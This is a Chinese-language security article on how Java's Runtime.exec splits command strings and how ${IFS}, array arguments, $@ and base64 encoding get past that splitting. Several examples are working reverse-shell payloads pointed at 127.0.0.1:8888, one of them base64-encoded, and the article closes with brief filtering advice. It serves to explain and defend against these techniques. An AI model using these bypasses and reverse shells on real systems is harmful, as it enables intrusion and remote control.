No.1
    声明
    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

    雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

    No.2
    前言
    熟知的在java下执行系统命令的代码
    Runtime.getRuntime().exec()
    new ProcessBuilder().start()
    众所周知,仅在命令前加了/bin/bash -c,才能使用特殊符号,如; | >等

    No.3
    使用${IFS}
    测试代码:
    String string=”xxx”;
    InputStream in=Runtime.getRuntime().exec(string).getInputStream();
    Scanner scanner = new Scanner(in).useDelimiter(“\A”);
    System.out.println(scanner.hasNext() ? scanner.next() : “”);
    · xxx=echo -n 123 输出
    123
    · xxx=/bin/bash -c echo -n 123输出为空
    · xxx=/bin/bash -c echo${IFS}123 输出

    123
    · xxx=/bin/bash -c x=3;echo${IFS}$x 输出

    3
    · xxx=/bin/bash -c ls|grep${IFS}1.txt 输出
    1.txt
    · xxx=/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1 可反弹,/bin/bash -c其后不能有空格等
    · xxx=bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1 不可反弹,由于无法识别到第一个参数
    · xxx=/bin/bash -c echo bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1不可反弹,echo后有空格
    · xxx=/bin/bash -c echo${IFS}-n${IFS}bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1 可反弹,同理
    综合以上可知
    · xxx开头不包含/bin/bash -c,且不含特殊符号如>;${IFS}等,仅含有参数-r-c及参数值时,可正常执行

    • 可以看到$man bash文档中对${IFS}的描述大佬链接
    • 作为内部字段分隔符
    • 除非特别设置,其默认值为

    The Internal Field Separator that is used for word splitting after expansion and to split lines into words with the read builtin command. The default value is ``‘’.
    $echo -n “${IFS}”|hexdump得到其值为20 09 0a,与默认值对应

    • exec中使用StringTokenizer st = new StringTokenizer(command)函数进行分割
    • 即 输入的xxx以 空格 \t\n\r\f进行分割,如下为StringTokenizer构造函数代码

    public StringTokenizer(String str) { this(str, “ \t\n\r\f”, false);
    }
    · 若xxx开头包含/bin/bash -c ,则其后不能含有空格\t\n\r\f,否则就会被荼毒,使系统无法辨别。但是可以输入特殊符号如

    • ; |执行多条命令
    • ${IFS}绕过StringTokenizer

    所以,在/bin/bash -c的前提下,可以进行拼接命令
    如/bin/bash -c echo;ls|grep${IFS}1.txt
    输出如下所示,前一条命令为echo;,后一条为ls|grep${IFS}1.txt
    1.txt
    若Runtime.getRuntime().exec()的第一个参数为string类型,则难逃StringTokenizer的摧残,则/bin/bash -c与其后命令存在空格\t\n\r\f无法并存。
    / 当第一个参数类型为String时,都会走到exec(String var1, String[] var2, File var3)这一步,等被分割了,再调用ProcessBuilder(String… var1) */public Process exec(String var1) throws IOException { return this.exec((String)var1, (String[])null, (File)null);
    }public Process exec(String var1, String[] var2) throws IOException { return this.exec((String)var1, var2, (File)null);
    }public Process exec(String var1, String[] var2, File var3) throws IOException { if (var1.length() == 0) { throw new IllegalArgumentException(“Empty command”);
    } else {
    StringTokenizer var4 = new StringTokenizer(var1);
    String[] var5 = new String[var4.countTokens()]; for(int var6 = 0; var4.hasMoreTokens(); ++var6) {
    var5[var6] = var4.nextToken();
    } return this.exec(var5, var2, var3);
    }
    }/
    当第一个参数类型为String[]时,直接调用ProcessBuilder(String… var1) */public Process exec(String[] var1) throws IOException { return this.exec((String[])var1, (String[])null, (File)null);
    }public Process exec(String[] var1, String[] var2) throws IOException { return this.exec((String[])var1, var2, (File)null);
    }public Process exec(String[] var1, String[] var2, File var3) throws IOException { return (new ProcessBuilder(var1)).environment(var2).directory(var3).start();
    }
    而ProcessBuilder的构造函数如下
    · 以List var1为参数的,直接将数组var1赋给命令command。
    · 以String… var1为参数的,由于存在command.add(var5);,在/bin/bash -c后的命令即使存在空格\t\n\r\f,也不会将其分割
    public ProcessBuilder(List var1) { if (var1 == null) { throw new NullPointerException();
    } else { this.command = var1;
    }
    }public ProcessBuilder(String… var1) { this.command = new ArrayList(var1.length);
    String[] var2 = var1; int var3 = var1.length; for(int var4 = 0; var4 < var3; ++var4) {
    String var5 = var2[var4]; this.command.add(var5);
    }

    }

    No.4
    使用数组形式
    使用数组形式是最普遍被熟知的。
    像如下两种一样,直接将(/bin/bash、-c、命令)用数组(可变长)形式分割,这样命令也可直接使用空格等特殊字符
    String cmdold=”;echo 123”;
    String cmdnew=”ls | grep 1.txt”+cmdold;
    ArrayList hhh=new ArrayList(0);
    hhh.add(“/bin/bash”);
    hhh.add(“-c”);
    hhh.add(cmdnew);new ProcessBuilder(hhh);
    【20200719】java命令执行小细节 - 图1
    new ProcessBuilder(“/bin/bash”,”-c”,”ls | grep 1.txt;echo 123”);
    【20200719】java命令执行小细节 - 图2

    No.5
    使用$@
    1.txt的内容是
    aa bb cc
    dd ee ff
    执行命令
    $x=cat 1.txt
    $set $x
    $echo $@
    结果为
    aa bb cc dd ee ff
    2.txt的内容是
    cat 1.txt
    执行命令
    echo $@ |bash 2.txt
    结果为
    aa bb cc
    dd ee ff
    $@能够获取对应的变量。
    像$@|bash xxx string命令,若xx为空或者找不到,则将变成string|bash
    因此可以绕过/bin/bash -c之后的命令不准含空格等字符的限制,来执行命令,如下
    /bin/bash -c $@|bash 0 echo 命令

    No.6
    使用base64
    bash -i >&/dev/tcp/127.0.0.1/8888<&1对应
    bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4PCYx}|{base64,-d}|{bash,-i}
    base64解码之后的内容就是bash -i >&/dev/tcp/127.0.0.1/8888<&1

    No.7
    防护建议
    对传入的字符串(有可能拼接到命令中)进行过滤时,要注意${IFS}特殊符号、base64编码等情况。